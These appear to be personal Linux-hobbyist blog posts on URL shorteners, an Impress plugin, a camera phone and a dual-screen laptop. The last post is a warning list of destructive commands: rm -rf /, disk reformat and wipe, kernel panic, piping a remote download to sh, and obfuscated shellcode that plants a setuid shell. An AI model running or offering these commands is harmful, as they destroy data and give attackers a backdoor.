For quite a long time I’ve used TinyURL to take very long links and make them tiny.

However, some crazy guy decided to create something on the opposite extreme: the Freaking Huge URL Generator.

So, the link to my website (http://www.LinuxLefty.com) via TinyURL is:

http://tinyurl.com/cgt6ao

BUT, via the Freaking Huge URL Generator, it is:

http://www.freakinghugeurl.com/refer.php?count=12&url=Vm0wd2QyUXlVWGxXYTJoV1YwZG9WVll3Wkc5alJsWjBUVlpPV0Zac2JETlhhMUpUVmpGYWMySkVUbGhoTWsweFZqQmFTMk15U2tWVWJHaG9UVmhDVVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVjNOM1pVWmFkR05GZEZSTlZUVkpWbTEwYTFkSFNrZGpTRUpYWVRGYWFGVXhXbXRXTVhCRlZXeFNUbUY2UlRCV2EyTXhWREZrU0ZOclpHcFRSVXBZV1ZSR2QyRkdjRmRYYlVaclVqRmFTVnBGV2xOVWJGcFlaSHBDVjJFeVRYaFdSRVpyVTBaT2NscEhjRk5XUjNob1YxZDRVMUl5VW5OWGEyUllZbGhTV1ZWcVJrdFRWbkJHVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hUVFRKb1dWWnJXbGRaVm14WFZXdGtWMWRIYUZsWmJHaFRWMFpTVjJGRlRsUmlSM1F6VjJ0U1UxWnJNVVZTYTFwWFlsaENhRlpxUVhoa1ZsWjFWMnhrVTFKWVFrbFdiWEJIVkRKU1YxVnVUbWhTTW5odlZGVm9RMWRXV1hoYVJGSnBUVlpXTTFSVmFHOVdNV1JJWVVac1dtSkhhRlJXTVZwWFkxWktjbVJHVWxkaVJtOTNWMnhXWVZReVJrZFhiazVxVTBoQ1lWbFhjekZqYkZweFVtMUdUMkpGY0ZwWGExcDNZa2RGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlrVndWVlp0ZUc5Uk1XUnpWMWhvV0dKRk5WUlVWM2hIVGxaV2RHUkhkRmhTTUhCNVZHeGFjMWR0U2tkWGJXaFhZa1p3V0ZreFdrdGtSa3B6Vld4T2FWWnJiekZXYlRFMFZURlplRmR1U2s1V1ZscFVXV3RrVTFsV1VsWlhiVVpzWWtad2VGVXlkREJXUmtwelUyeHdXbFpXY0hKWlZXUkdaVWRPU1dKR1pGZFNWWEJ2Vm10U1MxUnRWbGRUYmtwb1VqTm9WRmxZY0Zka01WcDBUVlJDYTAxWFVucFdNV2h2VjBkS1JrNVdVbFZXYkZZMFZHdGFWMk15UmtoUFZtUnBWbGhDTlZaSGVHRlZNVmw1VWxoc1ZsWkZTbGhXYWs1dllVWmFjVkpzWkZoV2JrSklWVmQ0WVZZeFNrWlNWRVU5

I’m not sure why you would ever want to use it, but it IS a lot of fun, haha

I recently discovered a plugin that makes OpenOffice’s Impress, a whole lot easier to use. It allows the audience to see the presentation, but the presenter sees the current slide, a preview of the next slide, the notes corresponding to the current slide and a timer. It is really nice to see a preview of the next slide (or of any slide) and to see your notes without showing them to the audience. Brilliant!

http://wiki.services.openoffice.org/wiki/Presenter_Screen

My camera has been broken for about 4-5 months now and I’ve been missing a lot of pictures. I’ve been thinking about buying another camera for a long time, but I decided on buying a camera phone instead. Laura has a good camera and I can use those to take high-quality photos. However, a camera phone is really nice as you always have a camera with you.

One of the nicest things about the phone is the Chinese/English dictionary. Since the system is stylus-based, I can look up characters that I see on the street by writing them into the dictionary. It helps a lot when I’m texting in Chinese, too

The phone usually runs for about $350 USD, but I was able to buy it in China for a little over $200 USD

This should also mean that there should be more updates to the photo album and blog!

Oh, and the cellphone is Linux based (yay!)

Lenovo is getting ready to release a laptop that has not one, but two LCDs built in!

This is really amazing, if it wasn’t $3,000+ and weigh over 10 pounds, I’d love to go for this. I guess I’ll just have to wait. I’ve been dreaming about laptops with multiple LCD screens for a long time. A while ago, I watched an anime where one of the characters had a laptop where the LCD folded out into 9 different panels to make one ginormous display. Maybe we will have such a laptop. When I do graphics work or have tons of windows up when developing, it would sure come in handy!!

Linux gives you a lot of power, including the power to shoot yourself in the foot.

Here are some commands that you DO NOT want to do! Hopefully this will save you some grief from some wisecrack that tells you to run “these magical commands”.

[geshi lang=bash]rm -rf /[/geshi]

This will delete all the files and directories from all devices currently mounted as read-write under Linux. (i.e. all your files go “poof!”)

[geshi lang=bash]char esp[] attribute ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”“\x6e\x2f\x73\x68\x00\x2d\x63\x00”“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;[/geshi]

This is the hex version of rm -rf /. A lot harder to spot!

[geshi lang=bash]mkfs.ext3 /dev/sda[/geshi]

This will reformat your /dev/sda device (usually your primary hard drive)

[geshi lang=bash]dd if=/dev/zero of=/dev/sda[/geshi]

This will blank (i.e. factory default) your hard drive

This is known as a forkbomb that will start a huge amount of processes until the system crashes

[geshi lang=bash]wget http://some_untrusted_source -O- | sh[/geshi]

This will download some source code from the Internet and then execute it on your computer

[geshi lang=bash]kill -6 1[/geshi]

This will force your kernel to panic (i.e. your computer will crash)

Compiled from: this blog post and comments